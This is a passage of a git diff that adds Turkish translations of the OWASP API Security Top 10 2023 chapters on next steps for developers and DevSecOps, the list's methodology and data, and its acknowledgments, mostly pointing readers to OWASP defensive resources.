Hatalı Girdi Doğrulama][7] +* [CWE-200: Hassas Bilgilerin Yetkisiz Bir Aktöre Açıklanması][8] +* [CWE-319: Hassas Bilgilerin Düz Metin Olarak İletilmesi][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/tr/0xb0-next-devs.md b/editions/2023/tr/0xb0-next-devs.md new file mode 100644 index 000000000..427d7d016 --- /dev/null +++ b/editions/2023/tr/0xb0-next-devs.md @@ -0,0 +1,39 @@ +# Geliştiricileri Neler Bekliyor? + +Güvenli uygulamalar oluşturmak ve bunların güvenliğini sürdürmek ya da mevcut +uygulamaları düzeltme görevi zor olabilir. API'ler için de durum farklı +değildir. + +Eğitim ve farkındalığın, güvenli yazılım yazmanın temel unsurları +olduğuna inanıyoruz. Bu hedefi gerçekleştirmek için gereken her şey, +**tekrarlanabilir güvenlik süreçlerinin ve standart güvenlik +kontrollerinin oluşturulmasına ve kullanılmasına** bağlıdır. + +OWASP, güvenliği ele almanıza yardımcı olacak çok sayıda ücretsiz ve açık +kaynak sunar. Mevcut projelerin kapsamlı bir listesi için +lütfen [OWASP Projeler sayfasını][1] ziyaret edin. + +| | | +|-|-| +| **Eğitim** | [Application Security Wayfinder][2], Yazılım Geliştirme Yaşam Döngüsü'nün (SDLC) her aşamasında kullanılabilecek projeler hakkında genel bir fikir verir. Uygulamalı eğitim için [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] veya [OWASP Juice Shop][4] ile başlayabilirsiniz; her ikisi de kasıtlı olarak zafiyetli API'ler içerir. [OWASP Vulnerable Web Applications Directory Project][5], kasıtlı olarak zafiyetli uygulamaların derlenmiş bir listesini sunar; burada başka zafiyetli API'ler de bulabilirsiniz. Ayrıca [OWASP AppSec Conference][6] eğitim oturumlarına katılabilir veya [yerel topluluğunuza katılabilirsiniz][7]. | +| **Güvenlik Gereksinimleri** | Güvenlik, en başından itibaren her projenin bir parçası olmalıdır. Gereksinimleri tanımlarken, o proje için "güvenli"nin ne anlama geldiğini tanımlamak önemlidir. OWASP, güvenlik gereksinimlerini belirlemek için bir rehber olarak [OWASP Application Security Verification Standard (ASVS)][8] kullanmanızı önerir. Dış kaynak kullanıyorsanız, yerel yasa ve düzenlemelere göre uyarlanması gereken [OWASP Secure Software Contract Annex][9]'i göz önünde bulundurun. | +| **Güvenlik Mimarisi** | Güvenlik, tüm proje aşamalarında bir öncelik olarak kalmalıdır. [OWASP Cheat Sheet Series][10], mimari aşamada güvenliği tasarlama konusunda rehberlik için iyi bir başlangıç noktasıdır. Diğerlerinin yanı sıra, [REST Security Cheat Sheet][11], [REST Assessment Cheat Sheet][12] ve [GraphQL Cheat Sheet][13]'i orada bulacaksınız. | +| **Standart Güvenlik Kontrolleri** | Standart güvenlik kontrollerini benimsemek, kendi mantığınızı yazarken güvenlik zayıflıkları oluşturma riskini azaltır. Birçok modern çerçeve artık etkili yerleşik standart kontrollerle geliyor olsa da, [OWASP Proactive Controls][14] projenize hangi güvenlik kontrollerini dâhil etmeniz gerektiği konusunda size iyi bir genel bakış sunar. OWASP ayrıca doğrulama kontrolleri gibi değerli bulabileceğiniz bazı kütüphaneler ve araçlar sağlar. | +| **Güvenli Yazılım Geliştirme Yaşam Döngüsü** | API'ler oluşturma süreçlerinizi geliştirmek için [OWASP Software Assurance Maturity Model (SAMM)][15] kullanabilirsiniz. Farklı API geliştirme aşamalarında size yardımcı olacak, örneğin [OWASP Code Review Guide][16] gibi başka birçok OWASP projesi de mevcuttur. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/tr/0xb1-next-devsecops.md b/editions/2023/tr/0xb1-next-devsecops.md new file mode 100644 index 000000000..4e25c5db4 --- /dev/null +++ b/editions/2023/tr/0xb1-next-devsecops.md @@ -0,0 +1,30 @@ +# DevSecOps'u Neler Bekliyor? + +Modern uygulama mimarilerindeki önemleri nedeniyle, güvenli API'ler +oluşturmak son derece önemlidir. Güvenlik ihmal edilemez ve tüm +geliştirme yaşam döngüsünün bir parçası olmalıdır. Yıllık tarama ve +sızma testleri artık yeterli değildir. + +DevSecOps, tüm yazılım geliştirme yaşam döngüsü boyunca sürekli güvenlik +testlerini kolaylaştırarak geliştirme çalışmalarına dâhil olmalıdır. Hedefiniz, +geliştirme hızını etkilemeden geliştirme ardışık düzenini güvenlik +otomasyonuyla güçlendirmek olmalıdır. + +Şüpheye düştüğünüzde bilgi sahibi olmaya devam edin ve [DevSecOps +Manifesto][1]'ya başvurun. + +| | | +|-|-| +| **Tehdit Modelini Anlayın** | Test öncelikleri bir tehdit modelinden gelir. Eğer bir tehdit modeliniz yoksa, girdi olarak [OWASP Application Security Verification Standard (ASVS)][2] ve [OWASP Testing Guide][3] kullanmayı düşünün. Geliştirme ekibini sürece dâhil etmek, onların güvenlik konusunda daha bilinçli olmasına yardımcı olacaktır. | +| **SDLC'yi Anlayın** | Yazılım Geliştirme Yaşam Döngüsünü daha iyi anlamak için geliştirme ekibine katılın. Sürekli güvenlik testlerine katkınız; insanlar, süreçler ve araçlarla uyumlu olmalıdır. Herkes süreç konusunda hemfikir olmalı, böylece gereksiz sürtüşme veya direnç yaşanmamalıdır. | +| **Test Stratejileri** | Çalışmanızın geliştirme hızını etkilememesi gerektiğinden, güvenlik gereksinimlerini doğrulamak için en uygun (en basit, en hızlı ve en doğru) tekniği dikkatle seçmelisiniz. [OWASP Security Knowledge Framework][4] ve [OWASP Application Security Verification Standard][2], fonksiyonel ve fonksiyonel olmayan güvenlik gereksinimleri için değerli kaynaklardır. [DevSecOps topluluğu][7] tarafından sunulanlara benzer [projeler][5] ve [araçlar][6] için başka kaynaklar da vardır. | +| **Kapsam ve Doğruluğa Ulaşma** | Geliştiriciler ve operasyon ekipleri arasındaki köprüsünüz. Kapsama ulaşmak için yalnızca işlevselliğe değil, aynı zamanda orkestrasyona da odaklanmalısınız. Zamanınızı ve çabanızı optimize edebilmek için en baştan hem geliştirme hem de operasyon ekipleriyle yakın çalışın. Temel güvenliğin sürekli olarak doğrulandığı bir duruma ulaşmayı hedeflemelisiniz. | +| **Bulguları Açıkça İletin** | Az sürtüşmeyle veya hiç sürtüşme olmadan değer katın. Bulguları zamanında, geliştirme ekiplerinin kullandığı araçlar içinde teslim edin (PDF dosyaları içinde değil). Bulguları ele almak için geliştirme ekibine katılın. Zayıflığı ve nasıl kötüye kullanılabileceğini açıkça tanımlayarak, durumu gerçek kılmak için bir saldırı senaryosu da dâhil ederek onları eğitmek için bu fırsatı değerlendirin. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/tr/0xd0-about-data.md b/editions/2023/tr/0xd0-about-data.md new file mode 100644 index 000000000..3ca6ca74d --- /dev/null +++ b/editions/2023/tr/0xd0-about-data.md @@ -0,0 +1,82 @@ +# Metodoloji ve Veriler + +## Genel Bakış + +Bu liste güncellemesi için OWASP API Security ekibi, başarılı ve yaygın +şekilde benimsenen 2019 listesinde kullanılan yöntemi kullandı; buna +ek olarak üç aylık bir [herkese açık veri çağrısı][1] da yapıldı. Ne yazık +ki bu çağrı sonucunda, en yaygın API güvenliği sorunları hakkında anlamlı +bir istatistiksel analiz yapılmasına yetecek veri elde edilemedi. + +Bununla birlikte, doğrudan geri bildirim ve içgörü sağlayabilen daha +olgun bir API güvenliği sektörüyle, güncelleme süreci önceki yöntemle +aynı şekilde ilerledi. + +Sonuç olarak, önümüzdeki üç veya dört yıl boyunca geçerliliğini koruyacak ve +modern API'lere özgü sorunlara daha fazla odaklanacak, geleceğe dönük güçlü bir +farkındalık dokümanı ortaya koyduğumuza inanıyoruz. Bu projenin amacı diğer en +kritik 10 listelerinin yerini almak değil, sektörün farkında olması ve +titizlikle ele alması gerektiğine inandığımız mevcut ve yaklaşan en +önemli API güvenliği risklerini ele almaktır. + +## Metodoloji + +İlk aşamada, API güvenliği olaylarına ilişkin herkese açık veriler +toplandı, incelendi ve kategorize edildi. Bu veriler, bug bounty +platformlarından ve herkese açık raporlardan toplandı. Yalnızca +2019-2022 yılları arasında bildirilen sorunlar dikkate alındı. Bu +veriler, ekibe önceki en kritik 10 listesinin hangi yönde gelişmesi +gerektiği konusunda fikir vermek ve katkı yoluyla elde edilen verilerdeki olası +yanlılığı azaltmaya yardımcı olmak için kullanıldı. + +1 Eylül - 30 Kasım 2022 tarihleri arasında halka açık bir [Veri +Çağrısı][1] yürütüldü. Bununla eş zamanlı olarak proje ekibi, +2019'dan bu yana neyin değiştiğine dair tartışmaya başladı. Bu +tartışma, ilk listenin etkisini, topluluktan alınan geri bildirimleri +ve API güvenliğindeki yeni eğilimleri içeriyordu. + +Proje ekibi, ilgili API güvenlik tehditleri konusunda uzmanlarla +toplantılar düzenleyerek, mağdurların bu tehditlerden nasıl +etkilendiği ve bu tehditlerin etkilerinin nasıl azaltılabileceği konusunda +içgörü elde etti. + +Bu çaba, ekibin en kritik on API güvenliği riski olduğuna inandığı +konuların ilk taslağıyla sonuçlandı. Risk analizini gerçekleştirmek +için [OWASP Risk Değerlendirme Metodolojisi][2] kullanıldı. Yaygınlık +derecelendirmeleri, proje ekibi üyelerinin alandaki deneyimlerine +dayanarak aralarında vardıkları fikir birliğiyle belirlendi. Bu +konulardaki değerlendirmeler için lütfen [API Güvenliği Riskleri][3] +bölümüne bakın. + +İlk taslak, ardından API güvenliği alanında ilgili deneyime sahip +güvenlik uzmanlarıyla incelenmek üzere paylaşıldı. Yorumları +incelendi, tartışıldı ve uygun olduğunda belgeye dâhil edildi. +Ortaya çıkan belge, [açık tartışma][5] için bir [Sürüm Adayı olarak +yayımlandı][4]. Çeşitli [topluluk katkıları][6] son belgeye dâhil +edildi. + +Katkıda bulunanların listesi [Teşekkürler][7] bölümünde mevcuttur. + +## API'ye Özgü Riskler + +Liste, API'lere daha özgü olan güvenlik risklerini ele alacak şekilde +oluşturulmuştur. + +Bu, API tabanlı uygulamalarda diğer genel uygulama güvenliği +risklerinin bulunmadığı anlamına gelmez. Örneğin, "Vulnerable and +Outdated Components" (Zafiyetli ve Güncel Olmayan Bileşenler) veya +"Injection" (Enjeksiyon) gibi riskleri listeye dâhil etmedik, ancak +bunları API tabanlı uygulamalarda bulabilirsiniz. Bu riskler geneldir; +API'lerde farklı davranmazlar ve istismar edilme şekilleri de farklı +değildir. + +Amacımız, API'lerde özel dikkat gerektiren güvenlik riskleri +konusundaki farkındalığı artırmaktır. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/tr/0xd1-acknowledgments.md b/editions/2023/tr/0xd1-acknowledgments.md new file mode 100644 index 000000000..2ddeba73c --- /dev/null +++ b/editions/2023/tr/0xd1-acknowledgments.md @@ -0,0 +1,13 @@ +# Teşekkürler + +## Katkıda Bulunanlara Teşekkürler + +GitHub üzerinden veya başka kanallardan projeye açık biçimde katkıda bulunan +aşağıdaki kişilere teşekkür ederiz: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/tr/images/cover.jpg b/editions/2023/tr/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/tr/images/cover.jpg differ diff --git a/editions/2023/tr/images/front-cc.png b/editions/2023/tr/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/tr/images/front-cc.png differ diff --git a/editions/2023/tr/images/front-wasp.png b/editions/2023/tr/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/tr/images/front-wasp.png differ diff --git a/editions/2023/tr/images/license.png b/editions/2023/tr/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/tr/images/license.png differ diff --git a/editions/2023/tr/images/owasp-logo.png b/editions/2023/tr/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/tr/images/owasp-logo.png differ